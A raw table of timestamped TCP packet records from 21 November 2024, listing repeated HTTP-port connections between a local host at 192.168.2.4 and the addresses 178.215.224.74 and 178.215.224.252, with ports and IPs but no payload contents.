Nov 21, 2024 20:01:16.135330915 CET	49978	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:16.255703926 CET	80	49978	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:16.255886078 CET	49978	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:17.505594015 CET	49984	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:17.518269062 CET	49985	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:17.625329018 CET	80	49984	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:17.625461102 CET	49984	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:17.637731075 CET	49984	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:17.637830019 CET	80	49985	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:17.637901068 CET	49985	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:17.653348923 CET	49985	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:17.757424116 CET	80	49984	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:17.773062944 CET	80	49985	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:18.887870073 CET	80	49984	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:18.888510942 CET	49984	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:19.008475065 CET	80	49984	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:19.008526087 CET	49984	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:19.021061897 CET	80	49985	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:19.021619081 CET	49985	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:19.073940039 CET	49941	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:19.074222088 CET	49986	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:19.141591072 CET	80	49985	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:19.141644001 CET	49985	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:19.179855108 CET	49987	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:19.193608999 CET	80	49941	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:19.193762064 CET	80	49986	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:19.193851948 CET	49986	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:19.232234955 CET	49986	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:19.299479961 CET	80	49987	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:19.299561024 CET	49987	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:19.299710989 CET	49987	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:19.352564096 CET	80	49986	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:19.419198036 CET	80	49987	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:20.581027031 CET	80	49986	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:20.581192970 CET	49986	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:20.629930973 CET	80	49987	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:20.630625010 CET	49987	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:20.750577927 CET	80	49987	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:20.754190922 CET	49987	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:22.350770950 CET	49998	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:22.476736069 CET	80	49998	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:22.476844072 CET	49998	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:22.481530905 CET	49998	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:22.605561972 CET	80	49998	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:23.195102930 CET	49999	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:23.314961910 CET	80	49999	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:23.316236973 CET	49999	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:23.325367928 CET	49999	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:23.444827080 CET	80	49999	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:23.786011934 CET	80	49998	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:23.786664009 CET	49998	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:23.906932116 CET	80	49998	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:23.907042027 CET	49998	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:24.623718977 CET	80	49999	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:24.654350042 CET	49999	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:24.774988890 CET	80	49999	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:24.775130033 CET	49999	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:24.906481981 CET	49986	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:24.906790972 CET	50005	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:25.026546001 CET	80	50005	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:25.026597977 CET	80	49986	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:25.026618958 CET	50005	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:25.026696920 CET	49986	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:25.026915073 CET	50005	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:25.033303022 CET	50006	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:25.146456957 CET	80	50005	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:25.153276920 CET	80	50006	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:25.153403044 CET	50006	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:25.153795958 CET	50006	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:25.274482012 CET	80	50006	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:26.379108906 CET	80	50005	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:26.379235029 CET	50005	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:26.464991093 CET	80	50006	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:26.465542078 CET	50006	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:26.592114925 CET	80	50006	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:26.592202902 CET	50006	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:26.595400095 CET	50007	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:26.717624903 CET	80	50007	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:26.717752934 CET	50007	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:26.723089933 CET	50007	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:26.842672110 CET	80	50007	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:28.027894020 CET	80	50007	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:28.028507948 CET	50007	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:28.150613070 CET	80	50007	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:28.150719881 CET	50007	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:28.433046103 CET	50013	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:28.552736998 CET	80	50013	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:28.552892923 CET	50013	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:28.553103924 CET	50013	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:28.672691107 CET	80	50013	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:28.880409956 CET	50014	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:29.000452995 CET	80	50014	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:29.000603914 CET	50014	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:29.002254009 CET	50014	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:29.121726990 CET	80	50014	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:29.914760113 CET	80	50013	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:29.915263891 CET	50013	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:30.040865898 CET	80	50013	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:30.040944099 CET	50013	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:30.314646006 CET	80	50014	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:30.315272093 CET	50014	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:30.435251951 CET	80	50014	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:30.435303926 CET	50014	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:31.130867004 CET	50020	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:31.251135111 CET	80	50020	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:31.251274109 CET	50020	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:31.262891054 CET	50020	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:31.384578943 CET	80	50020	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:31.385461092 CET	80	50005	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:31.385572910 CET	50005	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:32.523741961 CET	80	50020	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:32.524401903 CET	50020	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:32.644409895 CET	80	50020	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:32.644464970 CET	50020	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:35.061399937 CET	50031	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:35.180998087 CET	80	50031	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:35.181103945 CET	50031	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:35.181283951 CET	50031	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:35.300858021 CET	80	50031	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:36.448208094 CET	80	50031	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:36.448872089 CET	50031	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:36.568777084 CET	80	50031	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:36.568831921 CET	50031	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:37.557533979 CET	50036	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:37.677237034 CET	80	50036	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:37.677478075 CET	50036	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:37.684751987 CET	50036	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:37.806035042 CET	80	50036	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:38.943878889 CET	80	50036	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:38.944479942 CET	50036	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:39.064610004 CET	80	50036	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:39.064717054 CET	50036	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:40.910881996 CET	50043	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:41.031387091 CET	80	50043	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:41.031583071 CET	50043	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:41.044296980 CET	50043	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:41.164021015 CET	80	50043	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:42.287781954 CET	80	50043	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:42.338044882 CET	50043	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:42.458054066 CET	80	50043	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:42.458133936 CET	50043	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:43.367340088 CET	50047	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:43.383970976 CET	50048	80	192.168.2.4	178.215.224.252
Nov 21, 2024 20:01:43.487322092 CET	80	50047	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:43.487442017 CET	50047	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:43.497288942 CET	50047	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:43.503592968 CET	80	50048	178.215.224.252	192.168.2.4
Nov 21, 2024 20:01:43.503725052 CET	50048	80	192.168.2.4	178.215.224.252
Nov 21, 2024 20:01:43.513156891 CET	50048	80	192.168.2.4	178.215.224.252
Nov 21, 2024 20:01:43.616899967 CET	80	50047	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:43.632688999 CET	80	50048	178.215.224.252	192.168.2.4
Nov 21, 2024 20:01:44.752422094 CET	80	50047	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:44.756974936 CET	50047	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:44.957686901 CET	80	50047	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:44.957823992 CET	50047	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:45.281414032 CET	50049	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:45.402317047 CET	80	50049	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:45.402493000 CET	50049	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:45.402611017 CET	50049	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:45.522871971 CET	80	50049	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:46.663364887 CET	80	50049	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:46.664802074 CET	50049	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:46.772907972 CET	50050	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:46.784655094 CET	80	50049	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:46.784744024 CET	50049	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:46.892477989 CET	80	50050	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:46.892564058 CET	50050	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:46.892848015 CET	50050	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:47.012312889 CET	80	50050	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:48.167445898 CET	80	50050	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:48.168092012 CET	50050	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:48.290680885 CET	80	50050	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:48.290838957 CET	50050	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:48.598839045 CET	50051	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:48.718591928 CET	80	50051	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:48.718722105 CET	50051	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:48.728887081 CET	50051	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:48.848707914 CET	80	50051	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:50.022901058 CET	80	50051	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:50.023504019 CET	50051	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:50.122941017 CET	50052	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:50.150028944 CET	80	50051	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:50.150118113 CET	50051	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:50.244754076 CET	80	50052	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:50.245042086 CET	50052	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:50.245455027 CET	50052	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:50.364886999 CET	80	50052	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:51.662812948 CET	80	50052	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:51.664313078 CET	50052	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:51.787427902 CET	80	50052	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:51.787554026 CET	50052	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:52.193583012 CET	50053	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:52.362777948 CET	80	50053	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:52.362940073 CET	50053	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:52.363153934 CET	50053	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:52.482995033 CET	80	50053	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:53.664088964 CET	80	50053	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:53.664782047 CET	50053	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:53.747097015 CET	50054	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:53.838063955 CET	80	50053	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:53.838124990 CET	50053	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:53.867139101 CET	80	50054	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:53.867211103 CET	50054	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:53.867381096 CET	50054	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:54.047996998 CET	80	50054	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:55.249310017 CET	80	50054	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:55.250689983 CET	50054	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:55.370999098 CET	80	50054	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:55.371175051 CET	50054	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:55.743681908 CET	50055	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:55.863225937 CET	80	50055	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:55.863440990 CET	50055	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:55.863719940 CET	50055	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:55.984750032 CET	80	50055	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:57.253498077 CET	80	50055	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:57.254122019 CET	50055	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:57.364451885 CET	50056	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:57.445286036 CET	80	50055	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:57.445391893 CET	50055	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:57.484195948 CET	80	50056	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:57.484302998 CET	50056	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:57.484677076 CET	50056	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:57.668884039 CET	80	50056	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:58.848591089 CET	80	50056	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:58.850068092 CET	50056	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:58.969938040 CET	80	50056	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:58.970066071 CET	50056	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:59.357630968 CET	50057	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:59.477232933 CET	80	50057	178.215.224.74	192.168.2.4
Nov 21, 2024 20:01:59.477339983 CET	50057	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:59.477477074 CET	50057	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:01:59.620372057 CET	80	50057	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:00.862489939 CET	80	50057	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:00.863786936 CET	50057	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:00.972914934 CET	50058	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:00.983761072 CET	80	50057	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:00.983833075 CET	50057	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:01.092797041 CET	80	50058	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:01.092976093 CET	50058	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:01.096887112 CET	50058	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:01.216779947 CET	80	50058	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:02.421952963 CET	80	50058	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:02.423301935 CET	50058	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:02.603518963 CET	80	50058	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:02.603630066 CET	50058	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:03.007169008 CET	50059	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:03.126734972 CET	80	50059	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:03.127033949 CET	50059	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:03.138044119 CET	50059	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:03.257735014 CET	80	50059	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:04.439176083 CET	80	50059	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:04.439829111 CET	50059	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:04.538918972 CET	50060	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:04.559847116 CET	80	50059	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:04.559967041 CET	50059	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:04.717078924 CET	80	50060	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:04.717149973 CET	50060	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:04.717284918 CET	50060	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:04.927323103 CET	80	50060	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:05.465611935 CET	80	50048	178.215.224.252	192.168.2.4
Nov 21, 2024 20:02:05.465730906 CET	50048	80	192.168.2.4	178.215.224.252
Nov 21, 2024 20:02:05.465945005 CET	50048	80	192.168.2.4	178.215.224.252
Nov 21, 2024 20:02:05.586194038 CET	80	50048	178.215.224.252	192.168.2.4
Nov 21, 2024 20:02:06.170751095 CET	80	50060	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:06.171997070 CET	50060	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:06.293908119 CET	80	50060	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:06.293998003 CET	50060	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:06.844487906 CET	50061	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:06.967470884 CET	80	50061	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:06.967603922 CET	50061	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:06.967983007 CET	50061	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:07.089462042 CET	80	50061	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:08.285877943 CET	80	50061	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:08.286626101 CET	50061	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:08.422806025 CET	80	50061	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:08.422920942 CET	50061	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:09.126811981 CET	50062	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:09.246632099 CET	80	50062	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:09.246720076 CET	50062	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:09.247013092 CET	50062	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:09.367508888 CET	80	50062	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:10.553332090 CET	80	50062	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:10.557342052 CET	50062	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:10.596223116 CET	50063	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:10.677403927 CET	80	50062	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:10.678308010 CET	50062	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:10.715753078 CET	80	50063	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:10.718286037 CET	50063	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:10.718452930 CET	50063	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:10.838536978 CET	80	50063	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:11.854674101 CET	50064	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:11.975013018 CET	80	50064	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:11.975172997 CET	50064	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:11.975272894 CET	50064	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:12.026057005 CET	80	50063	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:12.026591063 CET	50063	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:12.130805969 CET	50065	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:12.225931883 CET	80	50064	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:12.226691961 CET	80	50063	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:12.226787090 CET	50063	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:12.307054043 CET	80	50065	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:12.307199955 CET	50065	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:12.307480097 CET	50065	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:12.428430080 CET	80	50065	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:13.378485918 CET	80	50064	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:13.381175995 CET	50064	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:13.486251116 CET	50066	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:13.501010895 CET	80	50064	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:13.501666069 CET	50064	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:13.580341101 CET	80	50065	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:13.583015919 CET	50065	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:13.606020927 CET	80	50066	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:13.606136084 CET	50066	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:13.606559038 CET	50066	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:13.691518068 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:13.727739096 CET	80	50065	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:13.728214979 CET	80	50066	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:13.728298903 CET	50065	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:13.812156916 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:13.812638044 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:13.812805891 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:13.932372093 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:14.955813885 CET	80	50066	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:14.956515074 CET	50066	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:15.076445103 CET	80	50066	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:15.076514959 CET	50066	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:15.175194025 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:15.175209999 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:15.175228119 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:15.175251961 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:15.175263882 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:15.175275087 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:15.175340891 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:15.175412893 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:15.175426006 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:15.175523996 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:15.175523996 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:15.175578117 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:15.175604105 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:15.175647974 CET	50067	80	192.168.2.4	178.215.224.74
